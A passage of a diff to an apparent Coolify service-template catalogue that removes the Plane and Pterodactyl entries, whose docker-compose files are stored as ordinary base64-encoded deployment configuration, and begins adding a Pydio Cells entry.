AgICBQR0RBVEFCQVNFOiBwbGFuZQogICAgICBQT1NUR1JFU19VU0VSOiAkU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICBQT1NUR1JFU19EQjogcGxhbmUKICAgICAgUE9TVEdSRVNfUE9SVDogNTQzMgogICAgICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQogICAgdm9sdW1lczoKICAgICAgLSAncGdkYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBwbGFuZS1yZWRpczoKICAgIGltYWdlOiAndmFsa2V5L3ZhbGtleTo3LjIuNS1hbHBpbmUnCiAgICB2b2x1bWVzOgogICAgICAtICdyZWRpc2RhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBwbGFuZS1tcToKICAgIGltYWdlOiAncmFiYml0bXE6My4xMy42LW1hbmFnZW1lbnQtYWxwaW5lJwogICAgcmVzdGFydDogYWx3YXlzCiAgICBlbnZpcm9ubWVudDoKICAgICAgUkFCQklUTVFfSE9TVDogcGxhbmUtbXEKICAgICAgUkFCQklUTVFfUE9SVDogJyR7UkFCQklUTVFfUE9SVDotNTY3Mn0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVVNFUjogJyR7U0VSVklDRV9VU0VSX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfUEFTUzogJyR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUTotcGxhbmV9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgICBSQUJCSVRNUV9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3JhYmJpdG1xX2RhdGE6L3Zhci9saWIvcmFiYml0bXEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDogJ3JhYmJpdG1xLWRpYWdub3N0aWNzIC1xIHBpbmcnCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogMzBzCiAgICAgIHJldHJpZXM6IDMKICBwbGFuZS1taW5pbzoKICAgIGltYWdlOiAnZ2hjci5pby9jb29sbGFic2lvL21pbmlvOlJFTEVBU0UuMjAyNS0xMC0xNVQxNy0yOS01NVonCiAgICBjb21tYW5kOiAnc2VydmVyIC9leHBvcnQgLS1jb25zb2xlLWFkZHJlc3MgIjo5MDkwIicKICAgIGVudmlyb25tZW50OgogICAgICBNSU5JT19ST09UX1VTRVI6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICAgICAgTUlOSU9fUk9PVF9QQVNTV09SRDogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICAgIHZvbHVtZXM6CiAgICAgIC0gJ3VwbG9hZHM6L2V4cG9ydCcKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBtYwogICAgICAgIC0gcmVhZHkKICAgICAgICAtIGxvY2FsCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK",
- "tags": [
- "plane",
- "project-management",
- "tool",
- "open",
- "source",
- "api",
- "nextjs",
- "redis",
- "postgresql",
- "django",
- "pm"
- ],
- "category": "productivity",
- "logo": "svgs/plane.svg",
- "minversion": "0.0.0"
- },
"plex": {
"documentation": "https://docs.linuxserver.io/images/docker-plex/?utm_source=coolify.io",
"slogan": "Plex organizes video, music and photos from personal media libraries and streams them to smart TVs, streaming boxes and mobile devices.",
@@ -3858,38 +3822,6 @@
"minversion": "0.0.0",
"port": "9159"
},
- "pterodactyl-panel": {
- "documentation": "https://pterodactyl.io/?utm_source=coolify.io",
- "slogan": "Pterodactyl is a free, open-source game server management panel",
- "compose": "c2VydmljZXM6CiAgbWFyaWFkYjoKICAgIGltYWdlOiAnbWFyaWFkYjoxMS44JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdoZWFsdGhjaGVjay5zaCAtLWNvbm5lY3QgLS1pbm5vZGJfaW5pdGlhbGl6ZWQgfHwgZXhpdCAxJwogICAgICBzdGFydF9wZXJpb2Q6IDEwcwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICAgIGVudmlyb25tZW50OgogICAgICAtIE1ZU1FMX1JPT1RfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTVlTUUxST09UCiAgICAgIC0gTVlTUUxfREFUQUJBU0U9cHRlcm9kYWN0eWwtZGIKICAgICAgLSBNWVNRTF9VU0VSPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBNWVNRTF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgdm9sdW1lczoKICAgICAgLSAncHRlcm9kYWN0eWwtZGI6L3Zhci9saWIvbXlzcWwnCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOmFscGluZScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncmVkaXMtY2xpIHBpbmcgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICBwdGVyb2RhY3R5bDoKICAgIGltYWdlOiAnZ2hjci5pby9wdGVyb2RhY3R5bC9wYW5lbDp2MS4xMi4wJwogICAgdm9sdW1lczoKICAgICAgLSAncGFuZWwtdmFyOi9hcHAvdmFyLycKICAgICAgLSAncGFuZWwtbmdpbng6L2V0Yy9uZ2lueC9odHRwLmQvJwogICAgICAtICdwYW5lbC1jZXJ0czovZXRjL2xldHNlbmNyeXB0LycKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vZXRjL2VudHJ5cG9pbnQuc2gKICAgICAgICB0YXJnZXQ6IC9lbnRyeXBvaW50LnNoCiAgICAgICAgbW9kZTogJzA3NTUnCiAgICAgICAgY29udGVudDogIiMhL2Jpbi9zaFxuc2V0IC1lXG5cbiBlY2hvIFwiU2V0dGluZyBsb2dzIHBlcm1pc3Npb25zLi4uXCJcbiBjaG93biAtUiBuZ2lueDogL2FwcC9zdG9yYWdlL2xvZ3MvXG5cbiBVU0VSX0VYSVNUUz0kKHBocCBhcnRpc2FuIHRpbmtlciAtLW5vLWFuc2kgLS1leGVjdXRlPSdlY2hvIFxcUHRlcm9kYWN0eWxcXE1vZGVsc1xcVXNlcjo6d2hlcmUoXCJlbWFpbFwiLCBcIidcIiRBRE1JTl9FTUFJTFwiJ1wiKS0+ZXhpc3RzKCkgPyBcIjFcIiA6IFwiMFwiOycpXG5cbiBpZiBbIFwiJFVTRVJfRVhJU1RTXCIgPSBcIjBcIiBdOyB0aGVuXG4gICBlY2hvIFwiQWRtaW4gVXNlciBkb2VzIG5vdCBleGlzdCwgY3JlYXRpbmcgdXNlciBub3cuXCJcbiAgIHBocCBhcnRpc2FuIHA6dXNlcjptYWtlIC0tbm8taW50ZXJhY3Rpb24gXFxcbiAgICAgLS1hZG1pbj0xIFxcXG4gICAgIC0tZW1haWw9XCIkQURNSU5fRU1BSUxcIiBcXFxuICAgICAtLXVzZXJuYW1lPVwiJEFETUlOX1VTRVJOQU1FXCIgXFxcbiAgICAgLS1uYW1lLWZpcnN0PVwiJEFETUlOX0ZJUlNUTkFNRVwiIFxcXG4gICAgIC0tbmFtZS1sYXN0PVwiJEFETUlOX0xBU1ROQU1FXCIgXFxcbiAgICAgLS1wYXNzd29yZD1cIiRBRE1JTl9QQVNTV09SRFwiXG4gICBlY2hvIFwiQWRtaW4gdXNlciBjcmVhdGVkIHN1Y2Nlc3NmdWxseSFcIlxuIGVsc2VcbiAgIGVjaG8gXCJBZG1pbiBVc2VyIGFscmVhZHkgZXhpc3RzLCBza2lwcGluZyBjcmVhdGlvbi5cIlxuIGZpXG5cbiBleGVjIHN1cGVydmlzb3JkIC0tbm9kYWVtb25cbiIKICAgIGNvbW1hbmQ6CiAgICAgIC0gL2VudHJ5cG9pbnQuc2gKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnY3VybCAtc2YgaHR0cDovL2xvY2FsaG9zdDo4MCB8fCBleGl0IDEnCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogMXMKICAgICAgcmV0cmllczogMwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gSEFTSElEU19TQUxUPSRTRVJWSUNFX1BBU1NXT1JEX0hBU0hJRFMKICAgICAgLSBIQVNISURTX0xFTkdUSD04CiAgICAgIC0gU0VSVklDRV9GUUROX1BURVJPREFDVFlMXzgwCiAgICAgIC0gJ0FETUlOX0VNQUlMPSR7QURNSU5fRU1BSUw6LWFkbWluQGV4YW1wbGUuY29tfScKICAgICAgLSAnQURNSU5fVVNFUk5BTUU9JHtTRVJWSUNFX1VTRVJfQURNSU59JwogICAgICAtICdBRE1JTl9GSVJTVE5BTUU9JHtBRE1JTl9GSVJTVE5BTUU6LUFkbWlufScKICAgICAgLSAnQURNSU5fTEFTVE5BTUU9JHtBRE1JTl9MQVNUTkFNRTotVXNlcn0nCiAgICAgIC0gJ0FETUlOX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9BRE1JTn0nCiAgICAgIC0gJ1BURVJPREFDVFlMX0hUVFBTPSR7UFRFUk9EQUNUWUxfSFRUUFM6LWZhbHNlfScKICAgICAgLSBBUFBfRU5WPXByb2R1Y3Rpb24KICAgICAgLSBBUFBfRU5WSVJPTk1FTlRfT05MWT1mYWxzZQogICAgICAtIEFQUF9VUkw9JFNFUlZJQ0VfRlFETl9QVEVST0RBQ1RZTAogICAgICAtICdBUFBfVElNRVpPTkU9JHtUSU1FWk9ORTotVVRDfScKICAgICAgLSAnQVBQX1NFUlZJQ0VfQVVUSE9SPSR7QVBQX1NFUlZJQ0VfQVVUSE9SOi1hdXRob3JAZXhhbXBsZS5jb219JwogICAgICAtICdMT0dfTEVWRUw9JHtMT0dfTEVWRUw6LWRlYnVnfScKICAgICAgLSBDQUNIRV9EUklWRVI9cmVkaXMKICAgICAgLSBTRVNTSU9OX0RSSVZFUj1yZWRpcwogICAgICAtIFFVRVVFX0RSSVZFUj1yZWRpcwogICAgICAtIFJFRElTX0hPU1Q9cmVkaXMKICAgICAgLSBEQl9EQVRBQkFTRT1wdGVyb2RhY3R5bC1kYgogICAgICAtIERCX1VTRVJOQU1FPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBEQl9IT1NUPW1hcmlhZGIKICAgICAgLSBEQl9QT1JUPTMzMDYKICAgICAgLSBEQl9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgICAtIE1BSUxfRlJPTT0kTUFJTF9GUk9NCiAgICAgIC0gTUFJTF9EUklWRVI9JE1BSUxfRFJJVkVSCiAgICAgIC0gTUFJTF9IT1NUPSRNQUlMX0hPU1QKICAgICAgLSBNQUlMX1BPUlQ9JE1BSUxfUE9SVAogICAgICAtIE1BSUxfVVNFUk5BTUU9JE1BSUxfVVNFUk5BTUUKICAgICAgLSBNQUlMX1BBU1NXT1JEPSRNQUlMX1BBU1NXT1JECiAgICAgIC0gTUFJTF9FTkNSWVBUSU9OPSRNQUlMX0VOQ1JZUFRJT04K",
- "tags": [
- "game",
- "game server",
- "management",
- "panel",
- "minecraft"
- ],
- "category": "media",
- "logo": "svgs/pterodactyl.png",
- "minversion": "0.0.0",
- "port": "80"
- },
- "pterodactyl-with-wings": {
- "documentation": "https://pterodactyl.io/?utm_source=coolify.io",
- "slogan": "Pterodactyl is a free, open-source game server management panel",
- "compose": "c2VydmljZXM6CiAgbWFyaWFkYjoKICAgIGltYWdlOiAnbWFyaWFkYjoxMS44JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdoZWFsdGhjaGVjay5zaCAtLWNvbm5lY3QgLS1pbm5vZGJfaW5pdGlhbGl6ZWQgfHwgZXhpdCAxJwogICAgICBzdGFydF9wZXJpb2Q6IDEwcwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICAgIGVudmlyb25tZW50OgogICAgICAtIE1ZU1FMX1JPT1RfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTVlTUUxST09UCiAgICAgIC0gTVlTUUxfREFUQUJBU0U9cHRlcm9kYWN0eWwtZGIKICAgICAgLSBNWVNRTF9VU0VSPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBNWVNRTF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgdm9sdW1lczoKICAgICAgLSAncHRlcm9kYWN0eWwtZGI6L3Zhci9saWIvbXlzcWwnCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOmFscGluZScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncmVkaXMtY2xpIHBpbmcgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICBwdGVyb2RhY3R5bDoKICAgIGltYWdlOiAnZ2hjci5pby9wdGVyb2RhY3R5bC9wYW5lbDp2MS4xMi4wJwogICAgdm9sdW1lczoKICAgICAgLSAncGFuZWwtdmFyOi9hcHAvdmFyLycKICAgICAgLSAncGFuZWwtbmdpbng6L2V0Yy9uZ2lueC9odHRwLmQvJwogICAgICAtICdwYW5lbC1jZXJ0czovZXRjL2xldHNlbmNyeXB0LycKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vZXRjL2VudHJ5cG9pbnQuc2gKICAgICAgICB0YXJnZXQ6IC9lbnRyeXBvaW50LnNoCiAgICAgICAgbW9kZTogJzA3NTUnCiAgICAgICAgY29udGVudDogIiMhL2Jpbi9zaFxuc2V0IC1lXG5cbiBlY2hvIFwiU2V0dGluZyBsb2dzIHBlcm1pc3Npb25zLi4uXCJcbiBjaG93biAtUiBuZ2lueDogL2FwcC9zdG9yYWdlL2xvZ3MvXG5cbiBVU0VSX0VYSVNUUz0kKHBocCBhcnRpc2FuIHRpbmtlciAtLW5vLWFuc2kgLS1leGVjdXRlPSdlY2hvIFxcUHRlcm9kYWN0eWxcXE1vZGVsc1xcVXNlcjo6d2hlcmUoXCJlbWFpbFwiLCBcIidcIiRBRE1JTl9FTUFJTFwiJ1wiKS0+ZXhpc3RzKCkgPyBcIjFcIiA6IFwiMFwiOycpXG5cbiBpZiBbIFwiJFVTRVJfRVhJU1RTXCIgPSBcIjBcIiBdOyB0aGVuXG4gICBlY2hvIFwiQWRtaW4gVXNlciBkb2VzIG5vdCBleGlzdCwgY3JlYXRpbmcgdXNlciBub3cuXCJcbiAgIHBocCBhcnRpc2FuIHA6dXNlcjptYWtlIC0tbm8taW50ZXJhY3Rpb24gXFxcbiAgICAgLS1hZG1pbj0xIFxcXG4gICAgIC0tZW1haWw9XCIkQURNSU5fRU1BSUxcIiBcXFxuICAgICAtLXVzZXJuYW1lPVwiJEFETUlOX1VTRVJOQU1FXCIgXFxcbiAgICAgLS1uYW1lLWZpcnN0PVwiJEFETUlOX0ZJUlNUTkFNRVwiIFxcXG4gICAgIC0tbmFtZS1sYXN0PVwiJEFETUlOX0xBU1ROQU1FXCIgXFxcbiAgICAgLS1wYXNzd29yZD1cIiRBRE1JTl9QQVNTV09SRFwiXG4gICBlY2hvIFwiQWRtaW4gdXNlciBjcmVhdGVkIHN1Y2Nlc3NmdWxseSFcIlxuIGVsc2VcbiAgIGVjaG8gXCJBZG1pbiBVc2VyIGFscmVhZHkgZXhpc3RzLCBza2lwcGluZyBjcmVhdGlvbi5cIlxuIGZpXG5cbiBleGVjIHN1cGVydmlzb3JkIC0tbm9kYWVtb25cbiIKICAgIGNvbW1hbmQ6CiAgICAgIC0gL2VudHJ5cG9pbnQuc2gKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnY3VybCAtc2YgaHR0cDovL2xvY2FsaG9zdDo4MCB8fCBleGl0IDEnCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogMXMKICAgICAgcmV0cmllczogMwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gSEFTSElEU19TQUxUPSRTRVJWSUNFX1BBU1NXT1JEX0hBU0hJRFMKICAgICAgLSBIQVNISURTX0xFTkdUSD04CiAgICAgIC0gU0VSVklDRV9GUUROX1BURVJPREFDVFlMXzgwCiAgICAgIC0gJ0FETUlOX0VNQUlMPSR7QURNSU5fRU1BSUw6LWFkbWluQGV4YW1wbGUuY29tfScKICAgICAgLSAnQURNSU5fVVNFUk5BTUU9JHtTRVJWSUNFX1VTRVJfQURNSU59JwogICAgICAtICdBRE1JTl9GSVJTVE5BTUU9JHtBRE1JTl9GSVJTVE5BTUU6LUFkbWlufScKICAgICAgLSAnQURNSU5fTEFTVE5BTUU9JHtBRE1JTl9MQVNUTkFNRTotVXNlcn0nCiAgICAgIC0gJ0FETUlOX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9BRE1JTn0nCiAgICAgIC0gJ1BURVJPREFDVFlMX0hUVFBTPSR7UFRFUk9EQUNUWUxfSFRUUFM6LWZhbHNlfScKICAgICAgLSBBUFBfRU5WPXByb2R1Y3Rpb24KICAgICAgLSBBUFBfRU5WSVJPTk1FTlRfT05MWT1mYWxzZQogICAgICAtIEFQUF9VUkw9JFNFUlZJQ0VfRlFETl9QVEVST0RBQ1RZTAogICAgICAtICdBUFBfVElNRVpPTkU9JHtUSU1FWk9ORTotVVRDfScKICAgICAgLSAnQVBQX1NFUlZJQ0VfQVVUSE9SPSR7QVBQX1NFUlZJQ0VfQVVUSE9SOi1hdXRob3JAZXhhbXBsZS5jb219JwogICAgICAtICdMT0dfTEVWRUw9JHtMT0dfTEVWRUw6LWRlYnVnfScKICAgICAgLSBDQUNIRV9EUklWRVI9cmVkaXMKICAgICAgLSBTRVNTSU9OX0RSSVZFUj1yZWRpcwogICAgICAtIFFVRVVFX0RSSVZFUj1yZWRpcwogICAgICAtIFJFRElTX0hPU1Q9cmVkaXMKICAgICAgLSBEQl9EQVRBQkFTRT1wdGVyb2RhY3R5bC1kYgogICAgICAtIERCX1VTRVJOQU1FPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBEQl9IT1NUPW1hcmlhZGIKICAgICAgLSBEQl9QT1JUPTMzMDYKICAgICAgLSBEQl9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgICAtIE1BSUxfRlJPTT0kTUFJTF9GUk9NCiAgICAgIC0gTUFJTF9EUklWRVI9JE1BSUxfRFJJVkVSCiAgICAgIC0gTUFJTF9IT1NUPSRNQUlMX0hPU1QKICAgICAgLSBNQUlMX1BPUlQ9JE1BSUxfUE9SVAogICAgICAtIE1BSUxfVVNFUk5BTUU9JE1BSUxfVVNFUk5BTUUKICAgICAgLSBNQUlMX1BBU1NXT1JEPSRNQUlMX1BBU1NXT1JECiAgICAgIC0gTUFJTF9FTkNSWVBUSU9OPSRNQUlMX0VOQ1JZUFRJT04KICB3aW5nczoKICAgIGltYWdlOiAnZ2hjci5pby9wdGVyb2RhY3R5bC93aW5nczp2MS4xMi4xJwogICAgcmVzdGFydDogdW5sZXNzLXN0b3BwZWQKICAgIHBvcnRzOgogICAgICAtICcyMDIyOjIwMjInCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fV0lOR1NfODQ0MwogICAgICAtICdUWj0ke1RJTUVaT05FOi1VVEN9JwogICAgICAtIFdJTkdTX1VTRVJOQU1FPXB0ZXJvZGFjdHlsCiAgICB2b2x1bWVzOgogICAgICAtICcvdmFyL3J1bi9kb2NrZXIuc29jazovdmFyL3J1bi9kb2NrZXIuc29jaycKICAgICAgLSAnL3Zhci9saWIvZG9ja2VyL2NvbnRhaW5lcnMvOi92YXIvbGliL2RvY2tlci9jb250YWluZXJzLycKICAgICAgLSAnL3Zhci9saWIvcHRlcm9kYWN0eWwvOi92YXIvbGliL3B0ZXJvZGFjdHlsLycKICAgICAgLSAnL3RtcC9wdGVyb2RhY3R5bC86L3RtcC9wdGVyb2RhY3R5bC8nCiAgICAgIC0gJ3dpbmdzLWxvZ3M6L3Zhci9sb2cvcHRlcm9kYWN0eWwvJwogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi9ldGMvY29uZmlnLnltbAogICAgICAgIHRhcmdldDogL2V0Yy9wdGVyb2RhY3R5bC9jb25maWcueW1sCiAgICAgICAgY29udGVudDogImRlYnVnOiBmYWxzZVxudXVpZDogUkVQTEFDRSBGUk9NIENPTkZJRyAjZXhhbXBsZTogYWJjOWFiYzgtYWJjNy1hYmM2LWFiYzUtYWJjNGFiYzNhYmMyXG50b2tlbl9pZDogUkVQTEFDRSBGUk9NIENPTkZJRyAjZXhhbXBsZTogYWJjMWFiYzJhYmMzYWJjNFxudG9rZW46IFJFUExBQ0UgRlJPTSBDT05GSUcgICNleGFtcGxlOiBhYmMxYWJjMmFiYzNhYmM0YWJjNWFiYzZhYmM3YWJjOGFiYzlhYmMxMGFiYzExYWJjMTJhYmMxM2FiYzE0YWJjMTVhYmMxNlxuYXBpOlxuICBob3N0OiAwLjAuMC4wXG4gIHBvcnQ6IDg0NDMgIyB1c2UgcG9ydCA0NDMgSU4gVEhFIFBBTkVMIGR1cmluZyBub2RlIHNldHVwXG4gIHNzbDpcbiAgICBlbmFibGVkOiBmYWxzZVxuICAgIGNlcnQ6IFJFUExBQ0UgRlJPTSBDT05GSUcgI2V4YW1wbGU6IC9ldGMvbGV0c2VuY3J5cHQvbGl2ZS93aW5ncy1hYmNhYmNhYmNhYmNhYmMuZXhhbXBsZS5jb20vZnVsbGNoYWluLnBlbVxuICAgIGtleTogUkVQTEFDRSBGUk9NIENPTkZJRyAjZXhhbXBsZTogL2V0Yy9sZXRzZW5jcnlwdC9saXZlL3dpbmdzLWFiY2FiY2FiY2FiY2FiYy5leGFtcGxlLmNvbS9wcml2a2V5LnBlbVxuICBkaXNhYmxlX3JlbW90ZV9kb3dubG9hZDogZmFsc2VcbiAgdXBsb2FkX2xpbWl0OiAxMDBcbiAgdHJ1c3RlZF9wcm94aWVzOiBbXVxuc3lzdGVtOlxuICByb290X2RpcmVjdG9yeTogL3Zhci9saWIvcHRlcm9kYWN0eWxcbiAgbG9nX2RpcmVjdG9yeTogL3Zhci9sb2cvcHRlcm9kYWN0eWxcbiAgZGF0YTogL3Zhci9saWIvcHRlcm9kYWN0eWwvdm9sdW1lc1xuICBhcmNoaXZlX2RpcmVjdG9yeTogL3Zhci9saWIvcHRlcm9kYWN0eWwvYXJjaGl2ZXNcbiAgYmFja3VwX2RpcmVjdG9yeTogL3Zhci9saWIvcHRlcm9kYWN0eWwvYmFja3Vwc1xuICB0bXBfZGlyZWN0b3J5OiAvdG1wL3B0ZXJvZGFjdHlsXG4gIHVzZXJuYW1lOiBwdGVyb2RhY3R5bFxuICB0aW1lem9uZTogVVRDXG4gIHVzZXI6XG4gICAgcm9vdGxlc3M6XG4gICAgICBlbmFibGVkOiBmYWxzZVxuICAgICAgY29udGFpbmVyX3VpZDogMFxuICAgICAgY29udGFpbmVyX2dpZDogMFxuICAgIHVpZDogOTg4XG4gICAgZ2lkOiA5ODhcbiAgZGlza19jaGVja19pbnRlcnZhbDogMTUwXG4gIGFjdGl2aXR5X3NlbmRfaW50ZXJ2YWw6IDYwXG4gIGFjdGl2aXR5X3NlbmRfY291bnQ6IDEwMFxuICBjaGVja19wZXJtaXNzaW9uc19vbl9ib290OiB0cnVlXG4gIGVuYWJsZV9sb2dfcm90YXRlOiB0cnVlXG4gIHdlYnNvY2tldF9sb2dfY291bnQ6IDE1MFxuICBzZnRwOlxuICAgIGJpbmRfYWRkcmVzczogMC4wLjAuMFxuICAgIGJpbmRfcG9ydDogMjAyMlxuICAgIHJlYWRfb25seTogZmFsc2VcbiAgY3Jhc2hfZGV0ZWN0aW9uOlxuICAgIGVuYWJsZWQ6IHRydWVcbiAgICBkZXRlY3RfY2xlYW5fZXhpdF9hc19jcmFzaDogdHJ1ZVxuICAgIHRpbWVvdXQ6IDYwXG4gIGJhY2t1cHM6XG4gICAgd3JpdGVfbGltaXQ6IDBcbiAgICBjb21wcmVzc2lvbl9sZXZlbDogYmVzdF9zcGVlZFxuICB0cmFuc2ZlcnM6XG4gICAgZG93bmxvYWRfbGltaXQ6IDBcbiAgb3BlbmF0X21vZGU6IGF1dG9cbmRvY2tlcjpcbiAgbmV0d29yazpcbiAgICBpbnRlcmZhY2U6IDE3Mi4yOC4wLjFcbiAgICBkbnM6XG4gICAgICAtIDEuMS4xLjFcbiAgICAgIC0gMS4wLjAuMVxuICAgIG5hbWU6IHB0ZXJvZGFjdHlsX253XG4gICAgaXNwbjogZmFsc2VcbiAgICBkcml2ZXI6IGJyaWRnZVxuICAgIG5ldHdvcmtfbW9kZTogcHRlcm9kYWN0eWxfbndcbiAgICBpc19pbnRlcm5hbDogZmFsc2VcbiAgICBlbmFibGVfaWNjOiB0cnVlXG4gICAgbmV0d29ya19tdHU6IDE1MDBcbiAgICBpbnRlcmZhY2VzOlxuICAgICAgdjQ6XG4gICAgICAgIHN1Ym5ldDogMTcyLjI4LjAuMC8xNlxuICAgICAgICBnYXRld2F5OiAxNzIuMjguMC4xXG4gICAgICB2NjpcbiAgICAgICAgc3VibmV0OiBmZGJhOjE3Yzg6NmM5NDo6LzY0XG4gICAgICAgIGdhdGV3YXk6IGZkYmE6MTdjODo2Yzk0OjoxMDExXG4gIGRvbWFpbm5hbWU6IFwiXCJcbiAgcmVnaXN0cmllczoge31cbiAgdG1wZnNfc2l6ZTogMTAwXG4gIGNvbnRhaW5lcl9waWRfbGltaXQ6IDUxMlxuICBpbnN0YWxsZXJfbGltaXRzOlxuICAgIG1lbW9yeTogMTAyNFxuICAgIGNwdTogMTAwXG4gIG92ZXJoZWFkOlxuICAgIG92ZXJyaWRlOiBmYWxzZVxuICAgIGRlZmF1bHRfbXVsdGlwbGllcjogMS4wNVxuICAgIG11bHRpcGxpZXJzOiB7fVxuICB1c2VfcGVyZm9ybWFudF9pbnNwZWN0OiB0cnVlXG4gIHVzZXJuc19tb2RlOiBcIlwiXG4gIGxvZ19jb25maWc6XG4gICAgdHlwZTogbG9jYWxcbiAgICBjb25maWc6XG4gICAgICBjb21wcmVzczogXCJmYWxzZVwiXG4gICAgICBtYXgtZmlsZTogXCIxXCJcbiAgICAgIG1heC1zaXplOiA1bVxuICAgICAgbW9kZTogbm9uLWJsb2NraW5nXG50aHJvdHRsZXM6XG4gIGVuYWJsZWQ6IHRydWVcbiAgbGluZXM6IDIwMDBcbiAgbGluZV9yZXNldF9pbnRlcnZhbDogMTAwXG5yZW1vdGU6IGh0dHA6Ly9wdGVyb2RhY3R5bDo4MFxucmVtb3RlX3F1ZXJ5OlxuICB0aW1lb3V0OiAzMFxuICBib290X3NlcnZlcnNfcGVyX3BhZ2U6IDUwXG5hbGxvd2VkX21vdW50czogW11cbmFsbG93ZWRfb3JpZ2luczpcbiAgLSBodHRwOi8vcHRlcm9kYWN0eWw6ODBcbiAgLSBQQU5FTCBET01BSU4gIyBleGFtcGxlOiBodHRwczovL3B0ZXJvZGFjdHlsLWFiY2FiY2FiY2FiY2F2Yy5leGFtcGxlLmNvbVxuYWxsb3dfY29yc19wcml2YXRlX25ldHdvcms6IGZhbHNlXG5pZ25vcmVfcGFuZWxfY29uZmlnX3VwZGF0ZXM6IGZhbHNlIgo=",
- "tags": [
- "game",
- "game server",
- "management",
- "panel",
- "minecraft"
- ],
- "category": "media",
- "logo": "svgs/pterodactyl.png",
- "minversion": "0.0.0",
- "port": "80, 8443"
- },
"qbittorrent": {
"documentation": "https://docs.linuxserver.io/images/docker-qbittorrent/?utm_source=coolify.io",
"slogan": "The qBittorrent project aims to provide an open-source software alternative to \u03bcTorrent.",
@@ -5299,5 +5231,17 @@
"logo": "svgs/marimo.svg",
"minversion": "0.0.0",
"port": "8080"
+ },
+ "pydio-cells": {
+ "documentation": "https://docs.pydio.com/?utm_source=coolify.io",
